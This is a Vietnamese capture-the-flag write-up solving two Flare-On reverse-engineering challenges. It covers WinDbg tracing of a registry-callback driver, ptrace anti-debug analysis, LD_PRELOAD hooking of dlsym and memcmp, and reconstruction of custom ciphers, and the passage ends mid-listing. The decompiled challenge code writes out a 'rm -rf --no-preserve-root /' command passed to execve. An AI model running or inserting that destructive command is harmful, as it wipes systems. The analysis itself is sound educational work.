v24.RootDirectory = 0i64;
v24.Attributes = 512;
v24.ObjectName = 0i64;
v24.SecurityDescriptor = 0i64;
v24.SecurityQualityOfService = 0i64;
ObjectAttributes.Length = 48;
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.Attributes = 576;
ObjectAttributes.ObjectName = v12;
ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.SecurityQualityOfService = 0i64;
ZwCreateKey(&KeyHandle, 0xF003Fu, &ObjectAttributes, 0, &Class, 0, (PULONG)v8[8]);
ObReferenceObjectByHandle(KeyHandle, *((_DWORD *)v8 + 14), (POBJECT_TYPE)v8[2], 0, &Object, 0i64);
ZwClose(KeyHandle);
// truncated ...
}

Driver này sẽ theo dõi những thay đổi trong Registry, nếu trong path của key có chứa “{CEEACC6E-CCB2-4C4F-BCF6-D2176037A9A7}\Config” thì đoạn code trên sẽ được thực hiện.

Ta sẽ tìm cách đặt breakpoint tại hàm này. (Hiện tại ta vẫn đang ở đầu của hàm DriverBootstrap).

Ta dùng lệnh “bp nt!CmRegisterCallbackEx” , sau đó bấm “g”, ta sẽ dừng ngay đầu hàm này.

Tiếp theo ta gõ “bp @rcx”, đây chính là địa chỉ hàm callback.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
kd> bp nt!CmRegisterCallbackEx
kd> g
Breakpoint 5 hit
nt!CmRegisterCallbackEx:
fffff800`02ad0d30 4883ec38 sub rsp,38h
kd> u @rcx
fffffa80`045e5570 4c89442418 mov qword ptr [rsp+18h],r8
fffffa80`045e5575 4889542410 mov qword ptr [rsp+10h],rdx
fffffa80`045e557a 48894c2408 mov qword ptr [rsp+8],rcx
fffffa80`045e557f 56 push rsi
fffffa80`045e5580 57 push rdi
fffffa80`045e5581 4881ecf8030000 sub rsp,3F8h
fffffa80`045e5588 488b842420040000 mov rax,qword ptr [rsp+420h]
fffffa80`045e5590 4889442458 mov qword ptr [rsp+58h],rax
kd> bp @rcx

Ta bấm “g” để chạy và dừng ngay tại hàm callback.

Giờ ta chỉ quan tâm tới lời gọi “ZwCreateKey” ở trong đoạn if nên: “bp @rip+0x56d, sau đó bấm “g”.

1
2
3
4
0:000> g
ModLoad: 000007fe`fb640000 000007fe`fb660000 C:\Users\admin\AppData\Local\Microsoft\Credentials\credHelper.dll
Breakpoint 2 hit
fffffa80`045acadd ff15c5050000 call qword ptr [fffffa80`045ad0a8]

Tham số thứ 5 của hàm ZwCreate là những gì mà ta quan tâm, nên:

1
2
kd> dS poi(@rsp+20)
fffff880`06fe2180 "H@n $h0t FiRst!"

Yay, đây cũng chính là Password, giờ ta chỉ việc viết 1 chương trình nhỏ để gọi hàm decrypt flag trong credHelper.dll là xong. Ở đây mình không xài các hàm COM mà dùng thẳng vtable như trong C++ luôn.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>

struct ObjectVTable
{
void(__fastcall *dontknow)(PVOID pThis);
void(__fastcall *incRefCount)(PVOID pThis);
void(__fastcall *decRefCount)(PVOID pThis);
ULONGLONG(__fastcall *rc4Init)(PVOID pThis, BYTE* pArray);
ULONGLONG(__fastcall *decryptFlag)(PVOID pThis, BYTE* pArray);
};

struct Object
{
struct ObjectVTable* vtbl;
ULONGLONG refCount;
char pad[0x1000];
};

BOOL setPassword(BYTE* password)
{
BOOL bRet = TRUE;
HKEY hSubKey;
if (RegOpenKeyW(HKEY_CLASSES_ROOT, L"CLSID\\{CEEACC6E-CCB2-4C4F-BCF6-D2176037A9A7}\\Config", &hSubKey) != ERROR_SUCCESS)
{
bRet = FALSE;
}
else if (RegSetValueExA(hSubKey, "Password", 0, REG_SZ, (const BYTE*)password, (lstrlenA(password) + 1) * sizeof(char)) != ERROR_SUCCESS)
{
bRet = FALSE;
}
if (bRet)
{
RegCloseKey(hSubKey);
}
return bRet;
}

BOOL printFlag()
{
wchar_t flag[0x100];
int size = sizeof(flag);
memset(flag, 0, size);
BOOL bRet = TRUE;
if (RegGetValueW(HKEY_CLASSES_ROOT, L"CLSID\\{CEEACC6E-CCB2-4C4F-BCF6-D2176037A9A7}\\Config", L"Flag", RRF_RT_REG_SZ, 0, flag, &size) != ERROR_SUCCESS)
{
bRet = FALSE;
}
if (bRet)
{
wprintf(L"-> %s\n", flag);
}
return bRet;
}

void readFlag(BYTE* password)
{
HMODULE hModule = LoadLibraryW(L"credHelper.dll");
ULONG_PTR pBase = (ULONG_PTR)hModule;
if (setPassword(password) == FALSE)
{
wprintf(L"[+] Error setPassword, (%d)\n", (BYTE)password[0]);
ExitProcess(1);
}
//system("pause");
if (pBase == (ULONG_PTR)NULL)
{
wprintf(L"[+] Error LoadLibrary, (%d)\n", (BYTE)password[0]);
ExitProcess(1);
}
BYTE arr[0x1000];
struct Object* object = (struct Object*)malloc(sizeof(struct Object));
object->vtbl = (struct ObjectVTable*)malloc(sizeof(struct ObjectVTable));

memcpy(object->vtbl, (PVOID)(0x17908ULL + pBase), sizeof(struct ObjectVTable)); // copy the vtable

object->vtbl->incRefCount(object);

wprintf(L"[+] Ret: 0x%llx\n", object->vtbl->rc4Init(object, arr));
wprintf(L"[+] Ret: 0x%llx\n", object->vtbl->decryptFlag(object, arr));


printFlag();

object->vtbl->decRefCount(object);

free(object->vtbl);
free(object);
if (FreeLibrary(hModule) == FALSE)
{
wprintf(L"[+] Free error\n");
}
}

int wmain(int argc, wchar_t* argv[])
{
BYTE password[] = { 0x48, 0x40, 0x6e, 0x20, 0x24, 0x68, 0x30, 0x74, 0x20, 0x46 ,0x69, 0x52 ,0x73 ,0x74 ,0x21, 0x00 };
readFlag(password);
return 0;
}

Run:

1
2
3
4
C:\Users\admin\Desktop>9.exe
[+] Ret: 0x0
[+] Ret: 0x0
-> S0_m@ny_cl@sse$_in_th3_Reg1stry@flare-on.com
1
S0_m@ny_cl@sse$_in_th3_Reg1stry@flare-on.com

10 - break

1
As a reward for making it this far in Flare-On, we've decided to give you a break. Welcome to the land of sunshine and rainbows!

Ở bài này chúng ta có 1 file ELF. Chạy thử:

Program xuất ra “sorry i stole your input”, vậy có thể là input của ta nhập vào bằng cách nào đó đã bị đổi. Giờ ta mở file lên trong IDA.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __cdecl __noreturn main()
{
char buf[264]; // [esp+0h] [ebp-108h]

puts("welcome to the land of sunshine and rainbows!");
puts("as a reward for getting this far in FLARE-ON, we've decided to make this one soooper easy");
putchar(10);
printf("please enter a password friend :) ");
buf[read(0, buf, 0xFFu) - 1] = 0;
if ( sub_8048CDB(buf) )
printf("hooray! the flag is: %s\n", buf);
else
printf("sorry, but '%s' is not correct\n", buf);
exit(0);
}
1
2
3
4
_BOOL4 __cdecl sub_8048CDB(char *s1)
{
return strcmp(s1, "sunsh1n3_4nd_r41nb0ws@flare-on.com") == 0;
}

Quá tuyệt vời, có luôn flag: “sunsh1n3_4nd_r41nb0ws@flare-on.com“.

Nhưng vẫn không đúng, ta vẫn bị “steal input”. Ta dùng tool strings và grep để tìm chuỗi “sorry i stole your input :)”:

Không tìm được chuỗi nào như vậy, có thể chuỗi này được build trên stack, nên không thể tìm thấy bằng tool strings.

Ở bài này mình lại quên mất 1 điều là: trước khi chạy hàm main thì program sẽ chạy các hàm Constructor. Để vào được tới hàm main, ở bài này có giải thích khá rõ. Để tóm tắt lại thì, mình để cái hình ở đây, cũng khá là dễ hiểu:

Ta xem code của hàm _init:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __cdecl init()
{
int v0; // esi
int v1; // edi

init_proc();
v0 = &off_81A4F04 - funcs_8056364;
if ( v0 )
{
v1 = 0;
do
funcs_8056364[v1++]();
while ( v1 != v0 );
}
}
1
2
.init_array:081A4EFC funcs_8056364   dd offset sub_8048CB0
.init_array:081A4EFC dd offset sub_8048FC5

Ở đây có 2 hàm Constructor, 1 hàm ở 0x8048CB0, 1 hàm ở 0x8048FC5. Vì hàm ở 0x8048CB0 không có gì nhiều nên ta phân tích hàm ở 0x8048FC5.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int sub_8048FC5()
{
int v0; // eax
int pid; // [esp+Ch] [ebp-Ch]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
pid = getpid();
parrent_pid = pid;
if ( !fork() )
{
sub_80490C4(pid);
exit(0);
}
prctl(0x59616D61, pid, 0, 0, 0);
nanosleep(requested_time, 0);
v0 = nice(170);
return printf("%s", -v0);
}

Ở hàm này, program tạo ra process con bằng fork, process con sẽ thực thi hàm sub_80490C4, ta tiếp tục đến hàm này.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __cdecl call_ptrace_dynamic(int a1, int a2, int a3, int a4)
{
void *handle; // ST18_4
int (__cdecl *v5)(int, int, int, int); // ST1C_4

handle = dlopen("libc.so.6", 1);
v5 = (int (__cdecl *)(int, int, int, int))dlsym(handle, "ptrace");
return v5(a1, a2, a3, a4);
}

int __cdecl sub_80490C4(__pid_t parrent_pid)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v50 = 0;
if ( call_ptrace_dynamic(PTRACE_ATTACH, parrent_pid, 0, 0) == -1 )
{
v49 = sub_804BD69(parrent_pid); // return "TracerPid" in "/proc/pid/status" if found
if ( v49 )
{
if ( call_ptrace_dynamic(PTRACE_ATTACH, v49, 0, 0) == -1 )
{
kill(v49, SIGKILL);
result = kill(parrent_pid, 9);
}
else
{
while ( 1 )
{
result = waitpid(v49, &v16, 0);
if ( result == -1 )
break;
v35 = v16;
if ( (unsigned __int8)v16 == 127 )
{
v36 = v16;
v48 = (v16 & 0xFF00) >> 8;
if ( v48 != 19 && v48 != 17 )
call_ptrace_dynamic(7, v49, 0, v48);
else
call_ptrace_dynamic(7, v49, 0, 0);
}
}
}
}
// truncated ....
}

Hàm này nhận 1 tham số là pid của process cha. Đoạn code trên kiểm tra xem process cha có đang bị process khác trace (debug) không. Có thể đây là 1 kỹ thuật anti-debug.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
else
{
result = waitpid(parrent_pid, &stat_loc, 0);
if ( result != -1 )
{
if ( call_ptrace_dynamic(PTRACE_POKEDATA, parrent_pid, (int)sub_8048CDB, 0xB0F) == -1 )
exit(0);
signal(14, handler);
v2 = getpid();
create_child_and_trace_me_please_804A0B4(v2);
v47 = (void **)&unk_81A52A0;
unk_81A52A0 = 0;
call_ptrace_dynamic(31, parrent_pid, 0, 0);
// truncated ...
}
// truncated ...
}

Ở đoạn này, process con write giá trị (32 bit) 0xB0F vào địa chỉ 0x8048CDB của process cha, sau đó nó lại tạo ra thêm 1 process con nữa bằng hàm 0x804A0B4 (hàm này gọi tiếp hàm 0x8049C9C):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__pid_t __cdecl sub_8049C9C(__pid_t pid) // <-- this func receives 1st child's PID
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

prctl(4, 0, 0, 0, 0);
signal(SIGINT, (__sighandler_t)1);
signal(SIGQUIT, (__sighandler_t)1);
signal(SIGTERM, (__sighandler_t)1);
if ( call_ptrace_dynamic(PTRACE_ATTACH, pid, 0, 0) != -1 )
{
while (1)
{
// a lot of "if" statements here ...
}
}
puts("OOPSIE WOOPSIE!! Uwu We made a mistaky wakey!!!!");
return kill(pid, 9);
}

Sau khi process con tạo ra process con thứ 2, thì nó tiếp tục nhảy vào vòng lặp với rất nhiều câu lệnh if, switch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
while ( 1 )
{
result = waitpid(parrent_pid, &stat_loc, 0);
if ( result == -1 )
break;
v27 = stat_loc;
if ( (unsigned __int8)stat_loc == 127 )
{
v28 = stat_loc;
if ( (stat_loc & 0xFF00) >> 8 == 19 )
call_ptrace_dynamic(31, parrent_pid, 0, 0);
v29 = stat_loc;
if ( (stat_loc & 0xFF00) >> 8 == 5 )
// .. truncated
}
// .. truncated ....
}

Đến giờ ta có 1 số thông tin như sau:

  • Process con 1 gọi ptrace(PTRACE_ATTACH, ...) lên process cha.
  • Process con 2 gọi ptrace(PTRACE_ATTACH, ...) lên process con 1.
  • Ca 2 process con đều thực thi 1 vòng lặp while (1) với rất nhiều if , switch, và gọi rất nhiều ptrace ở trong vòng lặp đó.

PTRACE_ATTACH thường được gọi khi 1 debugger muốn debug process khác.

Mình tìm thấy trên mạng có một số bài viết rất hay về ptrace (nếu bạn chưa biết nhiều về hàm ptrace thì có thể đọc các bài dưới đây để hiểu thêm về nó):

Mình sẽ tóm tắt lại tác dụng của 1 số câu lệnh ptrace được gọi trong chương trình này ở dưới:

  • ptrace(PTRACE_ATTACH, pid, 0, 0): attach vào 1 process có pid là pid.
  • ptrace(PTRACE_POKEDATA, pid, where, val): giá trị val kiểu dữ liệu là long vào địa chỉ where của process có PID là pid.
  • ptrace(PTRACE_PEEKDATA), pid, where, 0): đọc giá trị long tại địa chỉ where của process có PID là pid.
  • ptrace(PTRACE_SETREGS, pid, 0, &regs): ghi đè thanh ghi của process có PID là pid bằng các giá trị lưu trong regs.
  • ptrace(PTRACE_CONT, pid, 0, 0): tương tự lệnh continue trong gdb.
  • ptrace(PTRACE_GETREGS, parrent_pid, 0, &regs): lấy giá trị các thanh ghi của process có PID là pid và lưu vào regs.
  • ptrace(31, ...): (ptrace(PTRACE_SYSEMU, ...)): khi gặp 1 syscall, đừng execute syscall đó mà để debugger xử lý. Tham khảo.

Đến đây ta có thể nhận ra:

  • Process 1 giống như debugger và nó điều khiển process cha.
  • Process 2 giống như debugger và nó điều khiển process con 1.

Bốn bài viết ở trên hướng dẫn cách viêt 1 debugger đơn giản, pattern của debugger này là:

1
2
3
4
5
while (1)
{
reason = recv_reason(pid); // Lấy lý do process bị stop
process(pid); // xử lý (tiếp tục chạy, hoặc step 1 lệnh, đổi thanh ghi, thoát, ...)
}

Để lấy “lí do”, ta có thể sử dụng 1 trong các hàm wait.

Ta cùng xem lại vòng lặp while (1) của process con 1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
while ( 1 )
{
result = waitpid(parrent_pid, &stat_loc, 0);
// ... truncated
if ( (unsigned __int8)stat_loc == 127 )
{
if ( (stat_loc & 0xFF00) >> 8 == 19 ) { /* ... */ } // 19 = SIGSTOP
if ( (stat_loc & 0xFF00) >> 8 == 5 ) { /* ... */ } // 5 = SIGTRAP
if ( (stat_loc & 0xFF00) >> 8 == 4 ) { /*... */ } // 4 = SIGILL
if ( (stat_loc & 0xFF00) >> 8 == 11 ) { /* ... */ } // 11 = SIGSEGV
if ( (stat_loc & 0xFF00) >> 8 == 2 ) { /* ... */ } // 2 = SIGINT
if ( (stat_loc & 0xFF00) >> 8 == 15 ) { /* ... */ } // 15 = SIGTERM
if ( (stat_loc & 0xFF00) >> 8 == 3 ) { /* ... */ } // 3 = SIGQUIT
}
// ... truncated
}

Ta thấy sau khi lấy được stat_loc bằng hàm waitpid, chương trình sử dụng giá trị sau:

1
(stat_loc & 0xFF00) >> 8

Đoạn trên được tạo ra bởi macro WSTOPSIG, dùng để lấy “lí do” mà process dừng lại:

1
2
3
4
5
6
/*
source: https://unix.superglobalmegacorp.com/Net2/newsrc/sys/wait.h.html
file: sys/wait.h
*/
#define _W_INT(w) (*(int *)&(w)) /* convert union wait to int */
#define WSTOPSIG(x) (_W_INT(x) >> 8)

Vậy là tùy vào “lí do” mà process con 1 sẽ điều khiển process cha như thế nào.

Trước khi đi tiếp, ta cần hiểu ý nghĩa của một số kết quả trả về bởi WSTOPSIG:

  • SIGTRAP: process dừng lại vì nó vừa gặp phải lệnh syscall.
  • SIGILL: process dừng lại vì CPU phải thực thi 1 lệnh asm không hợp lệ.
  • SIGSEGV: process dừng lại vì nó vừa truy cập vùng nhớ mà nó không được phép (vd: truy cập vùng nhớ không được phép).

Vì process con 1 điều khiển process cha thông qua việc làm “debugger”, nên mình không thể debug program này. Tuy nhiên mình có 1 cách khác để log lại các hàm được gọi, sẽ được viết ở dưới.

Việc phân tích tĩnh khá cực, vì nó rất dễ nhầm lẫn, process con 1 lại còn bị “debug” bởi process con 2 nữa nên mình hoàn toàn không biết cách nào để debug chương trình này.

Tuy nhiên có 1 kỹ thuật LD_PRELOAD dùng để hook library function trên linux, bạn đọc có thể tham khảo tại đây.

Vì program này gọi ptrace rất nhiều nên việc đầu tiên mình làm là hook hàm ptrace. Tuy nhiên, program này không gọi trực tiếp ptrace, mà nó gọi thông qua con trỏ hàm:

1
2
3
4
5
6
7
int __cdecl call_ptrace_dynamic(int a1, int a2, int a3, int a4)
{
// ...
handle = dlopen("libc.so.6", 1);
v5 = (int (__cdecl *)(int, int, int, int))dlsym(handle, "ptrace");
return v5(a1, a2, a3, a4);
}

Như vậy, mình không hook ptrace nữa mà mình hook dlsym:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
long hooked_ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data)
{
long r = ptrace(request, pid, addr, data);
if ((int)request != 31)
printf("[+] ptrace(%s, %d, %p, %p) = %lu (%lX) ('%c%c%c%c')\n", be_req(request), pid, addr,
data, r, r, (char)r&0xFF, (char)(r>>8)&0xFF, (char)(r>>16)&0xFF, (char)(r>>24)&0xFF);
if ((int)request == 0xC || (int)request == 0xD)
print_regs(data);
return r;
}

extern void *_dl_sym(void *, const char *, void *);
extern void *dlsym(void *handle, const char *name)
{
if (!strcmp(name,"dlsym"))
return (void*)dlsym;
if (!strcmp(name,"ptrace"))
return (void*)hooked_ptrace;
return _dl_sym(handle, name, dlsym);
}

Mình đặt tên file này là “libexample.c”. Compile và hook thử:

1
gcc libexample.c -o libexample.so -fPIC -shared -ldl -D_GNU_SOURCE -m32 -w && LD_PRELOAD=./libexample.so ./break

Hook đã hoạt động đúng như ta muốn, ở trên ta có thể thấy chuỗi “sorry i stole …” được build bằng cách dùng ptrace(PTRACE_PEEKDATA, ...) để đọc từ process khác, đó là lí do ta không thấy chuỗi đó khi dùng strings.

Bây giờ ta bắt đầu quay lại phân tích flow của process con 1. Bắt đầu từ việc process con này viết giá trị 0xB0F vào process cha như đã nói ở trên.

1
call_ptrace_dynamic(PTRACE_POKEDATA, parrent_pid, (int)sub_8048CDB, 0xB0F);

Trong đó, hàm sub_8048CDB:

1
2
3
4
_BOOL4 __cdecl sub_8048CDB(char *s1)
{
return strcmp(s1, "sunsh1n3_4nd_r41nb0ws@flare-on.com") == 0;
}

Vậy là nó đã thay đổi instruction đầu tiên của hàm này (điều này cũng giải thích tại sao ta nhập “sunsh1n3_4nd_r41nb0ws@flare-on.com“ mà không đúng).

Ta thử disassemble chuỗi “\x0F\x0B\x00\x00”

ud2 (ud là viết tắt của undefine), khi gặp lệnh này, process cha sẽ raise SIGILL. Ta xem tiếp ở process con 1:

1
2
3
4
5
6
7
8
9
10
11
 if ( (stat_loc & 0xFF00) >> 8 == SIGILL )
{
v11 = strlen(input_81A56C0);
SIMP_WriteProcessMemory(parrent_pid, (int)input_81A56C0, (int *)input_81A56C0, v11);
call_ptrace_dynamic(PTRACE_GETREGS, parrent_pid, 0, (int)&regs);
v35 = regs.esp;
if ( call_ptrace_dynamic(PTRACE_POKEDATA, parrent_pid, regs.esp + 4, (int)input_81A56C0) == -1 )
exit(0);
regs.eip = (int)sub_8048DCB;
call_ptrace_dynamic(PTRACE_SETREGS, parrent_pid, 0, (int)&regs);
}

Vậy là khi process cha gặp SIGILL, process con 1 sẽ set eip = 0x8048DCB, ngoài ra còn set tham số thứ nhất (tại esp + 4) thành input mà ta nhập vào. Tóm lại nó chuyển đã chuyển sub_8048CDB(input) thành sub_8048DCB(input). Ta thử xem hàm sub_8048DCB:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl sub_8048DCB(char *s)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v9 = strlen(s);
argv = "rm";
v4 = "-rf";
v5 = "--no-preserve-root";
v6 = "/";
v7 = 0;
execve(s, &argv, 0);
--v9;
v8 = -nice(165);
init_buffer_804B495((int)&v2, v8);
sub_804BABC(&v2, &unk_81A50EC);
sub_804BABC(&v2, &unk_81A50F0);
sub_804BABC(&v2, &unk_81A50F4);
sub_804BABC(&v2, &unk_81A50F8);
if ( !memcmp(s, &unk_81A50EC, 0x10u) )
{
memset(&unk_81A50EC, 0, 0x10u);
result = sub_8048F05(s + 16);
}
else
{
memset(&unk_81A50EC, 0, 0x10u);
result = 0;
}
return result;
}

Ở hàm này ta thấy có execvenice. Đặc biệt là v8 = -nice(165), sau đó v8 được dùng làm buffer (???). Bởi vì hàm nice return 1 số nguyên rất nhỏ, không thể nào dùng làm địa chỉ buffer được, chắc chắn là có gì đó không ổn với hàm nice này.

Như đã giải thích ở trên thì mỗi khi gặp 1 syscall, process cha sẽ raise SIGTRAP, syscall number nằm ở eax. Ở process con, nó xử lý SIGTRAP như sau:

1
2
3
4
5
v3 = 322423550 * (regs.orig_eax ^ 0xDEADBEEF);
// ... truncated
if ( v3 == 0xE8135594 ) { /* ... */ }
if ( v3 == 0x2499954E ) { /* ... */ }
// ... a lot of cases ...

nice có syscall number là 0x22, khi đó v3 = 0x3DFC1166:

1
2
3
4
5
6
7
8
9
case 0x3DFC1166:
v8 = (char *)get_XorEnc_Str_8056281(reg.ebx);// 0x22 -> nice
buf = v8;
v9 = strlen(v8);
SIMP_WriteProcessMemory(parrent_pid, (int)&data_arr_81A52A0, (int *)buf, v9 + 1);
free(buf);
reg.eax = 0;
d_ptrace(PTRACE_SETREGS, parrent_pid, 0, (int)&reg);
break;

Như vậy, nó đã modify hàm nice, trả về 1 string tùy vào giá trị của ebx (ebx là tham số của nice).

Có rất nhiều chỗ bị modify như vậy, nên mình liệt kê tóm tắt ra bảng sau, bạn đọc có thể tự RE lại những chỗ này:

orig_eax value of v3 syscall name summary
0xD9 0xE8135594 pivot_root mov DWORD ptr [ebx], ecx
0x36 0x2499954E ioctl ?????
0x5C 0x4A51739A truncate <——————————————- magic here
0x4 0x7E85DB2A write ghi buffer ra stdout
0x22 0x3DFC1166 nice lấy string dựa vào ebx
0xB 0xF7FF4E38 execve xóa ‘\n’ trong tham số đầu tiên
0x7A 0x9C7A9D6 uname mov QWORD ptr [ebx], 0x9E3779B9C6EF3720
0x60 0x9678E7E2 get_priority (dùng bởi nice)
0x1 0xB82D3C24 exit thoát chương trình
0x98 0xC93DE012 mlockall return __pop_count(*(QWORD*)ebx)
0xF 0xAB202240 chmod xor, ror 1 vài con số ….
0x61 0x83411CE4 set_priority (dùng bởi nice)
0x3 0x91BDA628 read gọi fgets

Hàm truncate có nhiều thứ hay ho và chúng ta sẽ quay lại sau. Bây giờ ta quay lại hàm sub_8048DCB (mình đã rename 1 số thứ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
_BOOL4 __cdecl sub_8048DCB(char *inp)
{
// ... truncated
len = strlen(inp);
// truncated ...
execve(inp, &argv, 0); // remove '\n' at the end
--len;
v8 = -nice(0xA5); // return a string
j_customAES_expand_key_804B495((int)aes_ctx, v8);//
custom_AES_enc_804BABC((BYTE *)aes_ctx, (BYTE *)&unk_81A50EC);
custom_AES_enc_804BABC((BYTE *)aes_ctx, (BYTE *)&unk_81A50F0);
custom_AES_enc_804BABC((BYTE *)aes_ctx, (BYTE *)&unk_81A50F4);
custom_AES_enc_804BABC((BYTE *)aes_ctx, (BYTE *)&unk_81A50F8);
if ( !memcmp(inp, &unk_81A50EC, 0x10u) )
{
memset(&unk_81A50EC, 0, 0x10u);
result = sub_8048F05(inp + 16);
}
else
{
memset(&unk_81A50EC, 0, 0x10u);
result = 0;
}
return result;
}

Hàm trên nhận vào input của chúng ta, loại bỏ dấu “\n” ở cuối cùng. Sau đó nó lấy 1 đoạn string bằng nice để làm key. Key này được dùng để AES decrypt 1 string khác.

Bạn đọc có thể RE thử hàm AES ở trên, nó đã bị sửa lại, block size chỉ còn 4 thay vì 16.

Sau đó, nó so sánh đoạn string vừa decrypt được với input của chúng ta. Đến đây ta hook hàm memcmp để xem nội dung của 2 tham số:

1
2
3
4
5
6
7
int memcmp(const void *s1, const void *s2, size_t n)
{
int (*orig_memcmp)(const void *s1, const void *s2, size_t n) = dlsym(RTLD_NEXT, "memcmp");
int r = orig_memcmp(s1, s2, n);
printf("[+] memcmp s1: \"%s\", s2: \"%s\"\n", s1, s2);
return r;
}

Và:

1
2
3
...
[+] memcmp s1: "AAAAAA", s2: "w3lc0mE_t0_Th3_l"
...

Vậy 16 ký tự đầu là “w3lc0mE_t0_Th3_l”. Bây giờ ta chạy lại chương trình với input “w3lc0mE_t0_Th3_lAAAAAA”:

Lần này vẫn là dòng chữ “sorry …” đó, nhưng khác với lần đầu.

Ở lần đầu, khi ta nhập input “AAAAA” thì chương trình hiện ngay dòng đó luôn, còn nếu ta nhập “w3lc0…” thì chương trình mất khoảng 1 vài phút mới hiện lên dòng chữ đó, chứng tỏ là input này có gì đó làm cho chương trình đi theo flow khác.

1
2
3
4
5
if ( !memcmp(inp, &unk_81A50EC, 0x10u) )
{
memset(&unk_81A50EC, 0, 0x10u);
result = sub_8048F05(inp + 16); // <---- go
}

Bây giờ ta phân tích hàm sub_8048F05, hàm này nhận tham số là &input[16]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_BOOL4 __cdecl sub_8048F05(void *src)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v1 = nice(0xA4);
s = (char *)-v1;
v2 = strlen((const char *)-v1);
v6 = calc_hash(0LL, (int)s, v2); // v6 = 0x674a1dea4b695809
v5 = 40000;
memcpy(&file, src, 0x20u);
for ( i = 0; i < v5; i += 8 )
sub_804C369(&file + i, v6, HIDWORD(v6), &v4); // decrypt ?
return truncate(&file, 32) == 32;
}

Ta phân tích tiếp hàm sub_804C369:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int __cdecl sub_804C369(__mode_t *a1, int a2, int a3, const char *a4)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v11 = __readgsdword(0x14u);
v6 = 0;
sub_804C217(__PAIR__(a3, a2), 16, (int)a4); // <------- try RE this function
v7 = *a1;
mode = a1[1];
v5 = 0;
v9 = mode;
v10 = v7 ^ chmod(a4, mode);
v7 = mode;
mode = v10;
MEMORY[0](&loc_804C3C4, &v5); // <----- here
*a1 = mode;
a1[1] = v7;
return __readgsdword(0x14u) ^ v11;
}

Ở trên ta có thể thấy dòng MEMORY[0](...), đoạn đó tương đương với đoạn asm sau:

1
2
xor eax, eax
call eax

Đoạn này sẽ làm process raise SIGSEGV. Process con 1 xử lý đoạn này như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if ( (stat_loc & 0xFF00) >> 8 == SIGSEGV )
{
call_ptrace_dynamic(PTRACE_GETREGS, parrent_pid, 0, (int)&regs);
v34 = call_ptrace_dynamic(PTRACE_PEEKDATA, parrent_pid, regs.esp, 0);
v33 = call_ptrace_dynamic(PTRACE_PEEKDATA, parrent_pid, regs.esp + 4, 0);
v32 = call_ptrace_dynamic(PTRACE_PEEKDATA, parrent_pid, regs.esp + 8, 0);
v31 = call_ptrace_dynamic(PTRACE_PEEKDATA, parrent_pid, v32, 0) + 1;
regs.esp += 4;
if ( v31 > 15 )
{
regs.eip = v34;
}
else
{
regs.eip = v33;
call_ptrace_dynamic(PTRACE_POKEDATA, parrent_pid, v32, v31);
regs.esp += 16;
}
call_ptrace_dynamic(PTRACE_SETREGS, parrent_pid, 0, (int)&regs);
}

Với đoạn code trên, giả sử ta có 1 hàm f(x,y) với f == NULL (để tạo SIGSEGV), thì:

  • Nếu (*y)++ >= 16 thì return.
  • Ngược lại: set eip = x.
  • Tóm lại cái hàm f này giúp chương trình lặp 16 lần mà không cần dùng for, while, ....

Quay lại hàm sub_804C369, hàm này dùng để encrypt 1 block data gồm 8 bytes. Hàm này sử dụng vòng loop bằng SIGSEGV như giải thích ở trên, bao gồm 2 bước:

  • Expand key:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void expand_key(uint64_t key, uint32_t *ctx)
{
uint32_t *_ctx = ctx;
uint64_t k = key;
for (int i = 0; i < 16; ++i)
{
_ctx[7] = k & 0xFFFFFFFFull;
_ctx[19] = (k >> 32ull) & 0xFFFFFFFFull;
_ctx[41] = pop_cnt(k) >> 1;
int _v6 = k & 1;
k = k >> 1;
if (_v6)
{
k = k ^ 0x9E3779B9C6EF3720uLL;
}
_ctx = _ctx + 62;
}
}
  • Encrypt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
uint32_t encipher_8bytes(uint32_t *a1, uint64_t key, uint32_t *ctx)
{
uint32_t v7;
uint32_t v8;
uint32_t v10;
expand_key(key, ctx);
uint32_t *_ctx = ctx;
uint64_t k = key;
v7 = a1[0];
v8 = a1[1];
_ctx = ctx;
